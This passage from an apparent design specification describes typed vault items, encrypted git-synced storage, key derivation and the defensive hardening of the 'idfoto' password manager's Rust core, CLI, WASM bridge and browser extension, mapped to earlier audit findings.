0's tactical fixes. + +## Design Decisions + +Captured during brainstorming so the rationale is preserved: + +| Question | Decision | Why | +|---|---|---| +| Type granularity | **B**: small structural set (~7 types) + extensibility for future types | 1P's ~20 types are mostly labeling differences; structural set + custom fields covers ~90% of UX with ~30% of the code | +| Field structure | **B+C blend**: typed core fields per variant + sections of custom fields + attachments | Strong typing for predictable fields (autofill, importers benefit) + 1P-style sections for everything else | +| Type list | 7 types: Login, SecureNote, Identity, Card, Key, Document, **TOTP** | TOTP gets *both* Login.totp_secret AND a standalone type (Steam Guard, 2FA-only accounts) | +| Tags vs groups | **Both** — keep both | Tags are flat/cross-cutting (`#work`); groups are hierarchical buckets (`Banking`). Different UX purposes | +| Soft-delete | **Yes**, with configurable retention | Cheap insurance; default 30 days, settable to N days or `forever` | +| Password history | **Yes**, field-kind-driven | Generic over Password / Concealed / Totp kinds — covers Login, Card, Key, TOTP, custom Concealed for free | +| Storage layout | **C**: items + attachments split | Attachments must be separate so 5MB documents don't bloat every metadata sync | +| Serialization | **JSON** then AEAD | KISS — items are tiny, encrypted blob obscures debuggability concerns, max tooling support | +| Extensibility architecture | **A**: plain Rust enum, per-type modules | KISS — Rust's enum + exhaustiveness check IS the extension mechanism; trait+registry's flexibility doesn't pay off until many types | +| Migration from v1 | **None** — clean break | No users today; freely fold all audit fixes into the initial format | +| Strength meter | **zxcvbn**, color-coded slider | ~200KB WASM cost; same library powers Phase 4 Watchtower | +| Generators | **BIP39** (5-word default, space-separator default) + **Random** (20 chars, lower+upper+digits+SAFE_symbols default) | SAFE_symbols = `!@#$%^&*-_=+`; excludes `'"`,;:{}[]<>()|\\/?` that web forms commonly reject | +| Custom field IDs | **Stable `field_id` separate from label** | Renaming a field preserves its history | +| Per-attachment cap | **10MB**, 20-per-item, 500MB-per-vault soft cap | GitHub hard-rejects at 100MB per file; Gitea typically 50MB; comfortable headroom | +| Field kinds | 11 kinds: Text, Multiline, Password, Concealed, Url, Email, Phone, Date, MonthYear, Totp, Reference | `Address` modeled as Multiline; `Number` as Text; `SSHKey` as Concealed or attachment | +| Audit fixes baked in | **All of C1–C4, H1–H8 designed-in from day one** | No technical debt added on top of a known-broken foundation | + +## Architecture Overview + +``` +┌────────────────────────────────────────────────────────────────────┐ +│ idfoto-core (Rust) │ +│ - Item, ItemCore (7 variants), Field, Section, Attachment │ +│ - Manifest, VaultSettings │ +│ - crypto: KDF (length-prefixed), AEAD, Zeroize discipline │ +│ - generators: bip39, csprng-random │ +│ - serialization: serde-json → AEAD │ +└──────────┬───────────────────────────────┬─────────────────────────┘ + │ │ + ▼ ▼ +┌──────────────────────┐ ┌──────────────────────────────────┐ +│ idfoto-cli (Rust) │ │ idfoto-wasm (Rust → WASM) │ +│ - clap commands │ │ - opaque session handles │ +│ - hardened git │ │ - typed-item API surface │ +│ - rpassword 7.x │ │ - master_key never returned to │ +│ - clipboard + │ │ JS │ +│ Zeroize │ └──────────┬───────────────────────┘ +└──────────────────────┘ │ + ▼ + ┌──────────────────────────────────────┐ + │ Browser Extension (TypeScript) │ + │ - Service worker: split router │ + │ (popup-only / content-callable) │ + │ - Content scripts: closed Shadow │ + │ DOM, textContent only │ + │ - Popup UI: typed-item forms │ + │ - Setup wizard: not in WAR │ + └──────────────────────────────────────┘ +``` + +## Data Model (Rust core) + +### Item envelope (universal across all 7 types) + +```rust +pub struct Item { + pub id: ItemId, // 16-char hex (audit M8) + pub title: String, + pub r#type: ItemType, + pub tags: Vec<String>, + pub favorite: bool, + pub group: Option<String>, + pub notes: Option<String>, + pub created: i64, // unix-seconds + pub modified: i64, + pub trashed_at: Option<i64>, // soft-delete + pub core: ItemCore, // typed per variant + pub sections: Vec<Section>, + pub attachments: Vec<AttachmentRef>, + pub field_history: HashMap<FieldId, Vec<FieldHistoryEntry>>, +} + +pub type ItemId = String; // 16-char hex +pub type FieldId = String; // 16-char hex +pub type AttachmentId = String; // 16-char hex (sha256 of plaintext, truncated) +``` + +### Type variants + +```rust +pub enum ItemType { Login, SecureNote, Identity, Card, Key, Document, Totp } + +pub enum ItemCore { + Login(LoginCore), + SecureNote(SecureNoteCore), + Identity(IdentityCore), + Card(CardCore), + Key(KeyCore), + Document(DocumentCore), + Totp(TotpCore), +} +``` + +Each variant struct lives in `crates/idfoto-core/src/item_types/<type>.rs`. Compiler enforces exhaustiveness across the codebase — adding a new variant later means: create the file, add the enum variant, fix the (typically ~5) match-arm sites the compiler points at, register the UI form. No reflection, no registry, no runtime dispatch. + +### Per-type cores + +```rust +pub struct LoginCore { + pub username: Option<String>, + pub password: Option<Zeroizing<String>>, + pub url: Option<Url>, + pub totp: Option<TotpConfig>, +} + +pub struct SecureNoteCore { + pub body: Zeroizing<String>, // Multiline +} + +pub struct IdentityCore { + pub full_name: Option<String>, + pub address: Option<String>, // Multiline + pub phone: Option<String>, + pub email: Option<String>, + pub date_of_birth: Option<NaiveDate>, +} + +pub struct CardCore { + pub number: Option<Zeroizing<String>>, + pub holder: Option<String>, + pub expiry: Option<MonthYear>, + pub cvv: Option<Zeroizing<String>>, + pub pin: Option<Zeroizing<String>>, + pub kind: CardKind, // Credit | Debit | Gift | Loyalty | Other +} + +pub struct KeyCore { + pub key_material: Zeroizing<String>, + pub label: Option<String>, + pub public_key: Option<String>, + pub algorithm: Option<String>, // free-form: "ed25519", "rsa-4096", etc. +} + +pub struct DocumentCore { + pub filename: String, + pub mime_type: String, + pub primary_attachment: AttachmentId, // every Document has one main blob +} + +pub struct TotpCore { + pub config: TotpConfig, + pub issuer: Option<String>, + pub label: Option<String>, +} + +pub struct TotpConfig { + pub secret: Zeroizing<Vec<u8>>, // raw bytes (not base32) + pub algorithm: TotpAlgorithm, // Sha1 | Sha256 | Sha512 + pub digits: u8, // 6, 7, or 8 + pub period_seconds: u32, // default 30 + pub kind: TotpKind, // Totp | Hotp(counter) | Steam +} +``` + +### Sections + custom fields + +```rust +pub struct Section { + pub name: Option<String>, // None = anonymous section + pub fields: Vec<Field>, +} + +pub struct Field { + pub id: FieldId, // stable random hex; label is separate + pub label: String, + pub kind: FieldKind, + pub value: FieldValue, + pub hidden_by_default: bool, +} + +pub enum FieldKind { + Text, Multiline, Password, Concealed, Url, Email, Phone, + Date, MonthYear, Totp, Reference, +} + +pub enum FieldValue { + Text(String), + Multiline(String), + Password(Zeroizing<String>), + Concealed(Zeroizing<String>), + Url(Url), + Email(String), + Phone(String), + Date(NaiveDate), + MonthYear(MonthYear), + Totp(TotpConfig), + Reference(AttachmentId), // pointer into Item.attachments +} +``` + +`FieldKind` and `FieldValue` are kept as parallel enums (rather than collapsing to a single `enum FieldKindAndValue`) so the kind can be queried without inspecting the value. Validation invariant: `kind` and `value`'s discriminants must match, enforced at construction and during deserialization. + +### Field history + +```rust +pub struct FieldHistoryEntry { + pub value: Zeroizing<String>, // serialized form of the previous value + pub replaced_at: i64, +} +``` + +Triggered automatically in the Item setter for any field whose `kind ∈ {Password, Concealed, Totp}`. Vault settings drive retention (default forever; configurable to N most-recent or N days). + +For `Totp`, the stored history value is the base32 secret string (not the parsed bytes), keeping history serializable across rotations of digits/algorithm/period. + +### Attachments + +```rust +pub struct AttachmentRef { + pub id: AttachmentId, // sha256 of plaintext, hex-truncated to 16 + pub filename: String, + pub mime_type: String, + pub size: u64, // plaintext size in bytes + pub created: i64, +} +``` + +The `AttachmentRef` lives on the Item; the actual bytes live in `attachments/<item_id>/<aid>.enc`. + +### Generators + +```rust +pub enum GeneratorRequest { + Bip39 { + word_count: u32, // default 5 + separator: String, // default " ", selectable: "-", "_", ".", ":", "" + capitalization: Capitalization, + }, + Random { + length: u32, // 4..=128 + classes: CharClasses, // {lower, upper, digits, symbols} bitmask + symbol_charset: SymbolCharset, // SafeOnly | Extended | Custom(String) + }, +} + +pub enum Capitalization { Lower, Upper, FirstOfEach, Title, Mixed } + +pub struct CharClasses { + pub lower: bool, pub upper: bool, pub digits: bool, pub symbols: bool, +} + +pub enum SymbolCharset { + SafeOnly, // !@#$%^&*-_=+ + Extended, // SafeOnly + a few more, still excluding '"`,;:{}[]<>()|\\/? + Custom(String), +} +``` + +Single canonical generator implementation in `idfoto-core`, exposed via WASM and used by CLI directly. Both paths use `getrandom`-backed `OsRng` and `rand::distributions::Uniform` for unbiased sampling. + +## Storage, Manifest & Sync + +### Repo layout + +``` +.idfoto/ + salt # 32-byte vault salt (KDF input) + params.json # Argon2id parameters, format version + devices.json # authorized device ed25519 pubkeys +items/<id>.enc # full Item, JSON-then-AEAD +attachments/<item_id>/<aid>.enc # binary blob, AEAD'd separately +manifest.enc # browse index +settings.enc # vault-level settings +``` + +Per-attachment encryption: each attachment has its own random 24-byte XChaCha20 nonce, encrypted with the same vault master key. Filename `<aid>` is content-addressed (`sha256(plaintext)`, hex-truncated to 16 chars). Same plaintext stored twice produces the same file, allowing git deduplication. + +### Manifest schema + +`manifest.enc` is fully decrypted on every unlock and drives the popup browse view: + +```rust +pub struct Manifest { + pub schema_version: u32, // currently 2 + pub items: HashMap<ItemId, ManifestEntry>, +} + +pub struct ManifestEntry { + pub id: ItemId, + pub r#type: ItemType, + pub title: String, + pub tags: Vec<String>, + pub favorite: bool, + pub group: Option<String>, + pub icon_hint: Option<String>, + pub modified: i64, + pub trashed_at: Option<i64>, + pub attachment_summaries: Vec<AttachmentSummary>, +} + +pub struct AttachmentSummary { + pub id: AttachmentId, + pub filename: String, + pub mime_type: String, + pub size: u64, +} +``` + +The manifest carries enough to render the full browse list — icons, titles, tags, favorites, attachment indicators, last-modified — with **zero per-item decrypts**. Opening an item triggers exactly one `items/<id>.enc` decrypt. Editing a non-displayed field touches only the item file (no manifest churn). Editing a displayed field touches both. + +### Vault settings + +`settings.enc`: + +```rust +pub struct VaultSettings { + pub trash_retention: TrashRetention, + pub field_history_retention: HistoryRetention, + pub generator_defaults: GeneratorRequest, // user's preferred generator config + pub attachment_caps: AttachmentCaps, + pub autofill_origin_acks: HashMap<String, i64>, // hostname → unix-seconds first-acked +} + +pub enum TrashRetention { Days(u32), Forever } // default Days(30) +pub enum HistoryRetention { LastN(u32), Days(u32), Forever } // default Forever +pub struct AttachmentCaps { + pub per_attachment_max_bytes: u64, // default 10 * 1024 * 1024 + pub per_item_max_count: u32, // default 20 + pub per_vault_soft_cap_bytes: u64, // default 100 * 1024 * 1024 + pub per_vault_hard_cap_bytes: u64, // default 500 * 1024 * 1024 +} +``` + +### Sync semantics + +| Operation | Files written | Commit shape | +|---|---|---| +| Item add | `items/<id>.enc`, `manifest.enc` | one commit | +| Item edit (non-displayed field) | `items/<id>.enc` | one commit | +| Item edit (displayed field) | `items/<id>.enc`, `manifest.enc` | one commit | +| Item soft-delete | `items/<id>.enc` (sets `trashed_at`), `manifest.enc` | one commit | +| Item purge (post-retention) | delete `items/<id>.enc` + `attachments/<id>/*`, `manifest.enc` | one commit | +| Attachment add | `attachments/<item_id>/<aid>.enc`, `items/<id>.enc`, `manifest.enc` | one commit | +| Attachment delete | delete `attachments/<item_id>/<aid>.enc`, `items/<id>.enc`, `manifest.enc` | one commit | +| Settings change | `settings.enc` | one commit | + +Conflict handling: existing CLI flow (`git pull --rebase` before push) remains. Two devices editing the same item produce a merge conflict on `items/<id>.enc` (binary AEAD ciphertext, not auto-mergeable). MVP behavior: detect conflict, prompt user to choose a side. Field-level merge by decrypting both sides is post-MVP. + +### Large-blob upload path (extension) + +`extension/src/service-worker/git-host.ts` gains a `putBlob(payload)` that: + +- Uses GitHub/Gitea Contents API for payloads ≤ ~900KB (single PUT with base64 body). +- Falls back to Git Data API for larger payloads (create blob → create tree → create commit → update ref — three round-trips). + +All `attachments/*` writes go through this path. Item / manifest / settings files are always small enough for the Contents API. + +## Cryptographic Envelope + +### Key derivation (audit H1, H2, H3) + +```rust +pub fn derive_master_key( + passphrase: &str, + image_secret: &[u8; 32], + salt: &[u8; 32], + params: &Argon2Params, +) -> Result<Zeroizing<[u8; 32]>, IdfotoError> { + let passphrase_nfc = passphrase.nfc().collect::<String>(); // normalize once + + let mut password = Zeroizing::new( + Vec::with_capacity(8 + passphrase_nfc.len() + 8 + 32) + ); + password.extend_from_slice(&(passphrase_nfc.len() as u64).to_be_bytes()); + password.extend_from_slice(passphrase_nfc.as_bytes()); + password.extend_from_slice(&32u64.to_be_bytes()); + password.extend_from_slice(image_secret); + + let mut master_key = Zeroizing::new([0u8; 32]); + let argon2 = Argon2::new( + Algorithm::Argon2id, + Version::V0x13, + Params::new(params.m, params.t, params.p, Some(32))?, + ); + argon2.hash_password_into(&password, salt, master_key.as_mut())?; + Ok(master_key) +} +``` + +- **Length-prefixed inputs** eliminate the `("abc",[0x44,…]) ≡ ("abcD",[…])` ambiguity (audit H1). +- **`Zeroizing` everywhere** — `password` Vec, `master_key` array. Sensitive plaintext fields use the same wrapper at the struct level (audit H2). +- **UTF-8 NFC normalization** of passphrase before length-prefixing eliminates the macOS NFD edge case. + +### Passphrase strength gate (audit H3) + +`zxcvbn` enforced at vault creation: + +```rust +pub fn validate_passphrase_strength(p: &str) -> Result<(), WeakPassphrase> { + let estimate = zxcvbn::zxcvbn(p, &[]); + if estimate.guesses_log10() < 13.5 { // ~2^45 guesses + return Err(WeakPassphrase { + score: estimate.score(), + feedback: estimate.feedback().cloned(), + }); + } + Ok(()) +} +``` + +Visual color-coded slider in the setup wizard (and in the future admin portal's "change passphrase" flow) renders `score` 0-4 with feedback text. Vault creation refuses to proceed below `score >= 3` (≈ 2^45 guesses) without an explicit "I understand the risk" confirmation. + +### AEAD envelope + +Per-encryption layout (item, manifest, settings, each attachment): + +``` +[VERSION_BYTE][24-byte nonce][AEAD ciphertext + 16-byte tag] +``` + +- `VERSION_BYTE = 0x02` (clean break — no v1 compat). +- XChaCha20-Poly1305 (already correct, audit confirmed-safe #1). +- Fresh `OsRng`-derived nonce per encryption. +- Decrypt failure returns opaque `IdfotoError::Decrypt` regardless of which validation tripped (audit M4). + +### RNG (audit H5, H6) + +- `idfoto-wasm` uses `getrandom` (with `js` feature) for password generation, item IDs, attachment IDs. **No `Math.random()` anywhere.** +- Modulo-bias eliminated via `rand::distributions::Uniform` for charset sampling — both CLI and WASM paths. +- Single canonical `generate_password` and `generate_bip39` in `idfoto-core`, exposed to WASM and called directly by CLI. + +### ID format (audit M8) + +- `ItemId`, `FieldId`, `AttachmentId`: 16 hex chars (64 bits) generated via `OsRng.fill_bytes(&mut [u8; 8])` → hex. +- `AttachmentId` deviates: it's `sha256(plaintext).hex()[..16]` for content-addressing. + +### Per-vault crypto metadata + +`.idfoto/params.json`: + +```json +{ + "format_version": 2, + "kdf": { "algorithm": "argon2id-v0x13", "m": 65536, "t": 3, "p": 4 }, + "aead": "xchacha20poly1305", + "salt_path": ".idfoto/salt" +} +``` + +Format version present from day one so future migrations have a hook. + +Three version fields exist intentionally and evolve independently: + +| Field | Where | Bumps when | +|---|---|---| +| `format_version` | `.idfoto/params.json` | Overall vault layout changes (file structure, KDF construction, anything cross-cutting) | +| `schema_version` | inside `manifest.enc` | Manifest entry shape changes only (e.g., adding a new field to `ManifestEntry`) | +| `VERSION_BYTE` | first byte of every AEAD blob | AEAD construction itself changes (cipher, nonce size, tag layout) | + +All three set to `2` for the initial typed-item release. Future bumps are independent: e.g., adding a manifest field is `schema_version` only; switching to a new AEAD is `VERSION_BYTE` only; changing the on-disk file structure is `format_version` only. + +## Security Architecture + +### Manifest changes (audit C1) + +- `setup.html` and `setup.js` **removed from `web_accessible_resources`** in both `extension/manifest.json` and `extension/manifest.firefox.json`. +- The popup opens setup via `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` — own-origin extension tabs work without WAR. +- WASM artifacts (`idfoto_wasm.js`, `idfoto_wasm_bg.wasm`) removed from WAR — service worker loads them via `import` from extension origin. + +### Split message router (audit C1, C2, C4) + +Directory layout: + +``` +extension/src/service-worker/ + router/ + popup-only.ts // unlock, lock, list_items, get_item, add/update/delete, + // save_setup, generate_password, vault settings, ... + content-callable.ts // get_autofill_candidates, get_credentials, + // check_credential, fill_credentials, blacklist_site + index.ts // single onMessage entry, dispatches by sender check + session.ts // opaque session-handle table mapping handle → master_key + vault.ts // typed-item operations (was vault.ts; rewritten) + git-host.ts // gains putBlob with Contents/Git Data fallback +``` + +Dispatch logic (single `chrome.runtime.onMessage` entry point): + +```ts +const POPUP_ONLY: ReadonlySet<MessageType> = new Set([ + 'unlock', 'lock', 'list_items', 'get_item', 'add_item', 'update_item', + 'delete_item', 'purge_item', 'restore_item', 'get_totp', 'save_setup', + 'get_setup_state', 'update_settings', 'get_settings', 'add_attachment', + 'get_attachment', 'delete_attachment', 'generate_password', + 'generate_passphrase', 'rate_passphrase', 'change_passphrase', + 'list_devices', 'add_device', 'revoke_device', +]); + +const CONTENT_CALLABLE: ReadonlySet<MessageType> = new Set([ + 'get_autofill_candidates', 'get_credentials', 'check_credential', + 'fill_credentials', 'blacklist_site', +]); + +chrome.runtime.onMessage.addListener((msg, sender, reply) => { + const senderUrl = sender.url ?? ''; + const isPopup = senderUrl === chrome.runtime.getURL('popup.html'); + const isSetup = senderUrl.startsWith(chrome.runtime.getURL('setup.html')); + const isContent = + sender.tab !== undefined && + sender.frameId === 0 && + sender.id === chrome.runtime.id; + + if (POPUP_ONLY.has(msg.type)) { + if (!isPopup && !(msg.type === 'save_setup' && isSetup)) { + reply({ ok: false, error: 'unauthorized_sender' }); + return false; + } + return popupOnly.handle(msg, sender, reply); + } + if (CONTENT_CALLABLE.has(msg.type)) { + if (!isContent) { + reply({ ok: false, error: 'unauthorized_sender' }); + return false; + } + return contentCallable.handle(msg, sender, reply); + } + reply({ ok: false, error: 'unknown_message_type' }); + return false; +}); +``` + +### Origin-bound autofill (audit C4) + +- `get_autofill_candidates` ignores any `url` in the message body. Uses `sender.tab.url` only. +- `get_credentials(id)` looks up the item, derives `entry.url`'s hostname, compares to `sender.tab.url`'s hostname. Mismatch returns `{ ok: false, error: 'origin_mismatch' }` — no leak. +- Top-frame only: `sender.frameId === 0` required (no autofill into iframes). +- TOFU origin acknowledgement: first autofill on any new hostname requires the user to confirm in the popup. Acknowledged hostnames stored in `VaultSettings.autofill_origin_acks`. +- Pre-popup-fill (`fill_credentials` from popup): when popup opens, capture `(tab.id, tab.url)`. Send `fill_credentials` with that captured tab id, and verify on receipt that the entry's stored URL matches the captured tab's hostname. If user switches tabs mid-flow, the fill is rejected (audit M5). + +### Capture prompt rendering (audit C3) + +All page-injected UI (`content/capture.ts`, `content/icon.ts`) lives inside a **closed Shadow DOM**: + +```ts +const host = document.createElement('div'); +document.body.appendChild(host); +const root = host.attachShadow({ mode: 'closed' }); + +const promptDom = buildPromptDom(values); // textContent only, no innerHTML +root.appendChild(promptDom); +``` + +Strict rules for content-script DOM construction: + +1. **No `innerHTML` anywhere in content scripts.** All construction via `document.createElement` + `.textContent =`. +2. **Element IDs randomized per-prompt** (no stable `idfoto-save-btn` for page collisions). Use a per-prompt `Map<string, HTMLElement>` to wire up handlers. +3. **Page-derived values bounded** — username field from `findUsernameValue` capped at 256 chars, control characters stripped, then assigned only via `.textContent`. +4. **CSS scoped via Shadow DOM** — no leak to/from page CSS. + +The popup UI (which lives in the extension origin, not page DOM) continues to use the existing `escapeHtml` textContent pattern in `popup.ts:16-20`. Audit L11 (single-quote attribute escaping) is mitigated by mandating double-quote attributes via lint rule. + +### Memory hygiene (audit H2) + +- **Rust core**: `Zeroizing<>` wrappers as defined in the data model section. +- **WASM bridge**: master_key NEVER returned to JS as `Uint8Array`. Instead: + + ```rust + #[wasm_bindgen] + pub fn unlock(passphrase: &str, image_bytes: &[u8], salt: &[u8]) + -> Result<SessionHandle, JsError> { ... } + + #[wasm_bindgen] + pub fn list_items(handle: SessionHandle) -> Result<JsValue, JsError> { ... } + ``` + + `SessionHandle` is an opaque `u32` index into a Rust-side `HashMap<u32, Zeroizing<[u8; 32]>>` (the `session.rs` module). Keys live entirely in WASM linear memory inside `Zeroizing<>` structures. `lock(handle)` clears the entry. SW idle-suspend drops all sessions automatically. + +- **JS side**: passphrase string cleared from local variables ASAP after passing to WASM. Best-effort only (JS strings are immutable) — primary defense is keeping passphrase in scope for as little time as possible. + +### Hardened CLI git shell-out (audit H4) + +```rust +fn git_command(args: &[&str]) -> Command { + let mut cmd = Command::new("git"); + cmd.args([ + "-c", "core.hooksPath=/dev/null", + "-c", "commit.gpgsign=false", + "-c", "core.editor=true", // skip editor on rebase conflict markers + ]); + cmd.args(args); + cmd +} +``` + +Stage specific paths instead of `git add -A`: + +```rust +git_command(&[ + "add", + &format!("items/{}.enc", id), + "manifest.enc", +]) +``` + +### chrome.storage.local hardening (audit H8) + +- `apiToken` and `imageBase64` documented as profile-disk-readable in README + setup wizard final screen ("anyone with filesystem access to your browser profile owns factor 2 + the git push token; your remaining defense is the passphrase"). +- Setup wizard PAT instructions emphasize fine-grained PATs (Contents-only, single repo) for both GitHub and Gitea. + +### Deferred to Phase 0 implementation + +These audit items are bundled into the Phase 0 remediation plan (not this Phase 1 design): + +- M3: imgsecret `MAX_DIMENSION` cap (10000px) and dimension peek before decode. +- M5: popup→fill captured-tab verification (covered by autofill section above; implementation in Phase 0). +- M6: CLI clipboard always-clear + `Zeroizing<String>` wrap. +- M7: CLI stdout `Password: ********` by default + `--show` flag. +- M11: CLI ISO-8601 timestamp formatting. +- L7: `cargo audit` / `cargo deny` CI configuration. +- L8: CLI vault-dir detection (refuse to operate outside an `.idfoto/`-marked directory). + +## WASM API Surface + +The opaque session-handle pattern shapes the WASM API. All operations after `unlock` take a `SessionHandle`. + +```rust +#[wasm_bindgen] +pub struct SessionHandle(u32); + +#[wasm_bindgen] +pub fn unlock(passphrase: &str, image_bytes: &[u8], salt: &[u8], + params_json: &str) -> Result<SessionHandle, JsError>; + +#[wasm_bindgen] +pub fn lock(handle: SessionHandle); + +// Manifest + items +#[wasm_bindgen] pub fn manifest_load(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>; +#[wasm_bindgen] pub fn manifest_serialize(handle: SessionHandle, manifest_json: &str) -> Result<Vec<u8>, JsError>; + +#[wasm_bindgen] pub fn item_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>; +#[wasm_bindgen] pub fn item_encrypt(handle: SessionHandle, item_json: &str) -> Result<Vec<u8>, JsError>; + +#[wasm_bindgen] pub fn settings_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>; +#[wasm_bindgen] pub fn settings_encrypt(handle: SessionHandle, settings_json: &str) -> Result<Vec<u8>, JsError>; + +// Attachments +#[wasm_bindgen] pub fn attachment_encrypt(handle: SessionHandle, plaintext: &[u8]) -> Result<EncryptedAttachment, JsError>; +#[wasm_bindgen] pub fn attachment_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<Vec<u8>, JsError>; + +#[wasm_bindgen] +pub struct EncryptedAttachment { + pub aid: String, // sha256 of plaintext, 16-char hex + pub bytes: Vec<u8>, +} + +// Generators +#[wasm_bindgen] pub fn generate_password(request_json: &str) -> Result<String, JsError>; +#[wasm_bindgen] pub fn generate_passphrase(request_json: &str) -> Result<String, JsError>; +#[wasm_bindgen] pub fn rate_passphrase(p: &str) -> Result<JsValue, JsError>; + +// TOTP +#[wasm_bindgen] pub fn totp_compute(handle: SessionHandle, item_id: &str, field_id: &str, now_unix: u64) -> Result<TotpCode, JsError>; +#[wasm_bindgen] pub struct TotpCode { pub code: String, pub expires_at: u64 } + +// Image-secret extraction (called during unlock; signature unchanged from today) +#[wasm_bindgen] pub fn extract_image_secret(image_bytes: &[u8]) -> Result<Vec<u8>, JsError>; +#[wasm_bindgen] pub fn embed_image_secret(image_bytes: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsError>; + +// Item ID generation +#[wasm_bindgen] pub fn new_item_id() -> String; // 16-char hex +#[wasm_bindgen] pub fn new_field_id() -> String; +``` + +`JsValue` returns are `serde_wasm_bindgen`-serialized typed structs. The TS extension consumes them via generated declarations in `extension/src/wasm.d.ts`. + +## CLI Surface + +New commands and renamed semantics: + +```bash +# Existing (semantics carry forward, terminology updated to "item") +idfoto init +idfoto unlock # unlocks for next command +idfoto lock +idfoto sync # git pull --rebase + push, hardened +idfoto generate [--length N] [--bip39 [--words N]] [--symbols safe|extended] +idfoto device <add|list|revoke> + +# Updated for typed items +idfoto add <type> [--title T] [--group G] [--tags t1,t2] [--favorite] + [...type-specific fields, e.g., --username, --url, --password-prompt] +idfoto get <id-or-title> # always concealed by default; --show to reveal +idfoto list [--type T] [--group G] [--tag T] [--trashed] +idfoto edit <id-or-title> # interactive prompts for fields to update + # (no $EDITOR with plaintext — temp-file leak risk) +idfoto rm <id-or-title> # soft-delete (trash) +idfoto restore <id-or-title> # restore from trash +idfoto purge <id-or-title> # hard-delete (also purges attachments) +idfoto trash empty # hard-delete all past retention + +# New for attachments +idfoto attach <id-or-title> <file> # adds file as attachment +idfoto attachments <id-or-title> # list attachments on item +idfoto extract <id-or-title> <aid> [--out path] # decrypt + save to disk + +# Settings +idfoto settings get [<key>] +idfoto settings set <key> <value> # e.g., trash_retention=days:60 +``` + +`idfoto get` shows password as `********` by default. `--show` is required to print plaintext. Clipboard auto-clear unconditional after 30s with `Zeroizing<String>` wrap (audit M6, M7). + +`vault_dir()` detection: traverses up from CWD looking for `.idfoto/`. Refuses to operate without one (audit L8). + +## Browser Extension UI Implications + +This spec doesn't enumerate every UI screen — that's Phase 5 territory — but the data model imposes shape on the popup: + +- **List view**: rendered from manifest only. Per-item: type-icon, title, group/tags, favorite indicator, attachment-count badge. +- **Detail view**: per-type form. Each type's form lives in `extension/src/popup/components/items/<type>.ts` (mirrors the per-type module on the Rust side). Adding a new type later means adding the Rust core file + the TypeScript form file + entries in two enum-like dispatchers. +- **Field rendering**: each `FieldKind` has a known renderer (`Password` → reveal-toggle + copy + generate; `Totp` → rotating display + countdown bar; `Url` → click-to-open; etc.). +- **Custom fields**: rendered in their `Section`, with the user able to add/remove/rename sections and fields inline. +- **History view**: per-item button shows `field_history` table (timestamps + reveal-toggle for old values). +- **Trash view**: filtered list of items where `trashed_at != null`, with restore + purge actions. +- **Settings view**: vault-level retention/generators/caps. Existing capture/blacklist settings move into this consolidated view. + +Setup wizard, capture flow, autofill icon, and unlock screen all continue to exist in their current locations but updated for the security architecture (closed Shadow DOM for capture; popup-only sender check for setup). + +## Testing Strategy + +### Unit tests (Rust) + +- **`item_types/`**: per-type round-trip tests (construct → serialize → deserialize → equal), boundary cases (empty optional fields, max-length strings). +- **`field_history`**: setter triggers history on Password/Concealed/Totp; setter ignores history on Text/Url/etc.; retention pruning honors `LastN`/`Days`/`Forever` modes. +- **`crypto`**: length-prefix construction round-trip; verify two distinct `(passphrase, image_secret)` pairs produce distinct master keys (extends existing two-factor independence test); Zeroize-drop test using `tracking_allocator` to verify wipe. +- **`generators`**: bip39 produces requested word count; random-charset honors class toggles; Uniform sampling produces no measurable bias over 100k samples per charset. +- **`session`**: handle table inserts/removes; `lock()` clears the underlying buffer. + +### Integration tests (Rust) + +- **`tests/typed_items.rs`**: full workflow — init vault, add Login + Card + Document + TOTP, list, edit (verify history captured), soft-delete, restore, purge. +- **`tests/migration.rs`**: explicit "v1 vault is rejected" test (no compat shim — confirm the new client refuses old format with a clear error). +- **Existing `tests/integration.rs`**: keep the two-factor independence + full-workflow tests, port to the new Item type. + +### WASM tests + +- **`wasm-bindgen-test`** for: session handle lifecycle (`unlock` → `list_items` → `lock`), generator output sanity, RFC 6238 TOTP test vectors, attachment round-trip, manifest round-trip. +- **Browser-flavored test**: load WASM in a headless Chrome via `wasm-pack test --chrome --headless`. + +### Extension tests + +- **Service worker router**: mock `chrome.runtime.onMessage` and verify each message type is rejected when sent from the wrong sender (popup-only from content, content-callable from popup, anything from external). +- **Origin-bound autofill**: mock `sender.tab.url` and verify cross-origin requests are rejected even when the content script asks nicely. +- **Closed Shadow DOM**: render the capture prompt, verify the page-side `document.querySelector('#idfoto-save-btn')` returns null. +- **Generator**: verify no `Math.random()` reachable from any extension entry point (lint rule + runtime probe). + +### Manual / observational + +- **Heap snapshot of SW after unlock**: inspect WASM linear memory in DevTools and verify master_key bytes are not visible from JS. +- **GitHub + Gitea + self-hosted Gitea**: full add → attach 5MB doc → sync round-trip on each. +- **Conflict reproduction**: two devices edit the same item, verify merge-conflict prompt fires. + +## Open Questions / Deferred to Plan + +- Exact UI shape for the per-type forms (Phase 5 concern — but Phase 1 implementation will land minimal viable forms for each of the 7 types so the data model is exercisable). +- Field-level merge for conflicting item edits (post-MVP). +- Item-to-item references (e.g., a Login that points at a Key for SSH) — `FieldKind::Reference` currently only points at attachments; expand to ItemReference in a later phase if useful. +- Per-attachment encryption key derivation — currently using the master key directly with a fresh nonce per file. Consider a per-attachment subkey via HKDF for additional defense-in-depth (post-MVP). +- Steam Guard TOTP encoding details. +- HOTP counter conflict resolution. Counter lives in `TotpConfig.kind = Hotp(counter)`, persisted in the item file; each code generation rewrites the item with `counter + 1`. Sync conflicts on a HOTP counter resolve to `max(local, remote)` (advancing past either side's last-used code is correct; falling back is not). To be enforced in the conflict-merge code path. + +## Appendix A — Audit Findings Addressed by This Design + +| Audit ID | Severity | How this spec addresses it | +|---|---|---| +| C1 | Critical | Setup wizard removed from WAR; sender check on `save_setup` | +| C2 | Critical | Split message router with sender-based dispatch | +| C3 | Critical | Closed Shadow DOM + textContent for all content-script UI | +| C4 | Critical | Origin-bound autofill (`sender.tab.url` only, hostname match required) | +| H1 | High | Length-prefixed `passphrase \|\| image_secret`; NFC normalization | +| H2 | High | `Zeroizing<>` everywhere; opaque session handles (master_key never crosses WASM boundary) | +| H3 | High | `zxcvbn` strength gate at vault creation | +| H4 | High | Hardened git shell-out (no 